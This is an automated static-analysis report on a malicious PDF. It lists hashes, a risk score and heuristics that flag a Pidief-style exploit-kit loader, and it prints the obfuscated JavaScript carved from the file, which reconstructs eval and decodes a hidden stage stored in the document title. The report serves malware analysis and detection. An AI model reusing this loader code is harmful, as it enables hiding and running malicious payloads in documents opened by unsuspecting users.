Malicious PDF — malware analysis report

Static analysis result for SHA-256 950be042237019a1…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-04
MD5: 5002003966537a5ddd9a63c96367937d SHA-1: 0fbb353ce681c936175c6d41664e7d895b508401 SHA-256: 950be042237019a12a5b65618aa8236b5450e58d81457a1606473270e7077960
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFAB 444 bytes
SHA-256: 7a13ab8aa6b7495cc4331bd45c466ac2a7c7193591c14ac47928479f4b6501ce
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
hkp='';
hmjs=('qwrwqr','tit');
e('pul=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
qwxnb=e('String.fr'+pul.substr(0,10));
qlvh = e(pul.substr(10)['replace'](/u/g,','));
e('k=qlvh.length');
for (i = 0; i < k; i+=2) {
	nohvi = qlvh[i+1] + ('erybjkerl',qlvh[i]);
	hkp += qwxnb(nohvi);
}
e(hkp);

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